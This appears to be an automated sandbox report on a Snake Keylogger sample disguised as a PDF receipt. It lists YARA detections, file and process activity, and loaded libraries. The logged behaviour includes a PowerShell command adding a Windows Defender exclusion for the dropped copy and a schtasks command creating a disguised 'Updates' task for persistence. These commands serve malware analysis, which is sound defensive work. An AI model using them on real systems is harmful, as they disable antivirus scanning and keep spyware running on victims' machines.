Source: 8.2.teXfNv.exe.4288990.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 8.2.teXfNv.exe.4245570.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.teXfNv.exe.4245570.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.49b4148.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.49b4148.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4994128.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4994128.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7328, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: teXfNv.exe PID: 7888, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: teXfNv.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@16/11@3/3
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe File created: C:\Users\user\AppData\Roaming\teXfNv.exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7516:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe File created: C:\Users\user\AppData\Local\Temp\tmpB0EF.tmp Jump to behavior
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: rDEKONT-1_16_2025__75kb__pdf.exe Virustotal: Detection: 27%
Source: rDEKONT-1_16_2025__75kb__pdf.exe ReversingLabs: Detection: 26%
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe File read: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe "C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe"
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\teXfNv.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\teXfNv" /XML "C:\Users\user\AppData\Local\Temp\tmpB0EF.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe "C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown Process created: C:\Users\user\AppData\Roaming\teXfNv.exe C:\Users\user\AppData\Roaming\teXfNv.exe
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\teXfNv" /XML "C:\Users\user\AppData\Local\Temp\tmpC16A.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process created: C:\Users\user\AppData\Roaming\teXfNv.exe "C:\Users\user\AppData\Roaming\teXfNv.exe"
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\teXfNv.exe" Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\teXfNv" /XML "C:\Users\user\AppData\Local\Temp\tmpB0EF.tmp" Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe "C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\teXfNv" /XML "C:\Users\user\AppData\Local\Temp\tmpC16A.tmp" Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process created: C:\Users\user\AppData\Roaming\teXfNv.exe "C:\Users\user\AppData\Roaming\teXfNv.exe" Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: iconcodecservice.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: version.dll Jump to behavior
